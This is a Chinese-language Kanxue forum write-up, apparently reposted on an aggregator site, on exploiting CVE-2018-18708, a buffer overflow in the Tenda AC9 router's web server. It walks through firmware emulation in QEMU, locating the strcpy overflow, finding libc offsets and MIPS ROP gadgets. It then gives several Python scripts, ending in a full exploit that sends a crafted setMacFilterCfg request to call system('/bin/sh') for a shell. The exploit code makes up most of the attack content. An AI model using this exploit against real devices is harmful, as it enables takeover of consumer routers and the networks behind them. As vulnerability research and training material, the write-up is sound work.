CVE-2018-18708 TENDA缓冲区溢出漏洞

本文为看雪论坛精华文章
看雪论坛作者ID:The_Itach1
一
漏洞简介
二
仿真模拟
binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin
readelf -h ./bin/httpd

同样和之前的tenda路由器设备,都需要patch下,mips的调用函数有点不一样,常规来说是下面这种方式,先la将函数地址给v0,然后给t9,然后在跳转到函数。
la $v0, websGetVar
move $t9, $v0
jalr $t9 ; websGetVar

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
cp $(which qemu-mipsel-static) .
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
三
漏洞分析

然后查看下返回的包。

返回了个{"errCode":2},我们到formSetMacFilterCfg函数内部,查看setMacFilterCfg接口对应的处理过程,需要注意的是这些地方。
Var = (const char *)websGetVar(a1, "macFilterType", &unk_52346C);
v2 = set_macfilter_mode(Var);
...
...
reload_macfilter_rules_to_wireless(Var);

现在我们知道了为什么会返回{"errCode":2},所以现在的关键点就在于如何让set_macfilter_mode函数返回0,传给这个函数参数为websGetVar获取到macFilterType的具体值。

所以必须post传参,"macFilterType": "black",或者white。

进入set_macfilter_rules_by_one,实际上这个才是会发生溢出的函数,其v4变量会由于parse_macfilter_rule中的strcpy导致溢出而覆盖返回地址。

进入parse_macfilter_rule函数,分析得知,deviceList第一个字节必须是'\r'。


然后计算一下,偏移大概就是在472或者476的样子,我们编写exp进行测试。
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
data = {"macFilterType": "black", "deviceList":"\r" + "A" * 472 + "bbbb"}
requests.post(url, cookies=cookie, data=data)

可以看到刚刚好。
四
漏洞利用
寻找libc基址

然后用ida载入libc.so.0,去exports查看对应的函数地址,发现在0x0005F804,当然也可以用readelf -s ./lib/libc.so.0 | grep uClibc_main。
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
libc_base=0x7f583a08-0x0005F804
system=0x0060320
system_addr=libc_base+system
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)}
requests.post(url, cookies=cookie, data=data)

可以看到运气较好的是,我们仍然在libc中,但是不知道具体位置,这时候我们可以用ida的字符串搜索功能,去尝试搜索到对应的位置。

成功找到对应偏移位置,0x0006054C,由于关了aslr,所以基址不变,得到libc_base=0x7f58454c - 0x0006054C = 0x7F524000
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
libc_base=0x7f58454c - 0x0006054
system=0x0060320
system_addr=libc_base+system
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)}
requests.post(url, cookies=cookie, data=data)

构造rop链
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

.text:0000DC1C move $a0, $s0
.text:0000DC20 move $t9, $s1
.text:0000DC24 jalr $t9 ; stat64

.text:00060530 lw $ra, 0x18+var_s14($sp)
.text:00060534
.text:00060534 loc_60534: # CODE XREF: sub_603D8+138↑j
.text:00060534 lw $s4, 0x18+var_s10($sp)
.text:00060538 lw $s3, 0x18+var_sC($sp)
.text:0006053C lw $s2, 0x18+var_s8($sp)
.text:00060540 lw $s1, 0x18+var_s4($sp)
.text:00060544 lw $s0, 0x18+var_s0($sp)
.text:00060548 jr $ra
.text:0006054C addiu $sp, 0x30
b"\r" + b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)

这里爆了个访问错误,$v0应该是个地址,但是变成了我们的0x41414141。
snprintf(v5, 0x80u, "macfilter.%s.list%d", a1, a3);
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
#libc_base=0x7f583a08-0x0005F804
libc_base=0x7f58452c-0x0006052C
lib=0x7F524000
system=0x0060320
binsh=0x0006AE30
gadget1=libc_base+0x00060530
gadget2=libc_base+0x0000DC1C
system_addr=libc_base+system
binsh_addr=libc_base+binsh
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)b"bbbb"+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}
requests.post(url, cookies=cookie, data=data)

而恰好,set_macfilter_rules_by_one在执行完parse_macfilter_rule函数,发生了溢出后,后面的snprintf函数调用了a1,也就是第一个参数,且a1是一个地址,但是按照我们playload覆盖后a1将变为一个值,所以会照成访问异常。

最终exp以及调试
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
#libc_base=0x7f583a08-0x0005F804
libc_base=0x7f58452c-0x0006052C
lib=0x7F524000
system=0x0060320
binsh=0x0006AE30
gadget1=libc_base+0x00060530
gadget2=libc_base+0x0000DC1C
system_addr=libc_base+system
binsh_addr=libc_base+binsh
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)+p32(0x7FFFF090)+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}
requests.post(url, cookies=cookie, data=data)

gadget2

getshell

五
总结
参考
看雪ID:The_Itach1
https://bbs.pediy.com/user-home-926755.htm
# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- 苹果手机怎么查询激活时间
- 让 GPT-4 设计一个分布式缓存系统,它从尝试到被“逼疯”!
- 开源合规实践避坑指南
- 华为胡厚崑:联接共创美好智能世界
- Snapdragon Ride平台,助力打造安全便捷的驾乘体验
- 全新一代骁龙8移动平台,让精彩一拍既得
- OPPO 40万年薪招应届生,狂揽芯片人才;恶意差评小米新手机,一用户被判赔3万元;谷歌开源全同态加密通用转译器|极客头条
- 征文|杨文斌:终端安全之线段理论
- 想要无坚不摧?快来学习《Web安全编程入门》吧!
- Doge.jpg 的背后是什么,你知道么?
- AIoT、DevOPS、数据平台、开源,你不可不知的微软 Azure 黑科技大公开
- 使用谷歌浏览器该如何判断网站是否为假冒钓鱼网站
赞助链接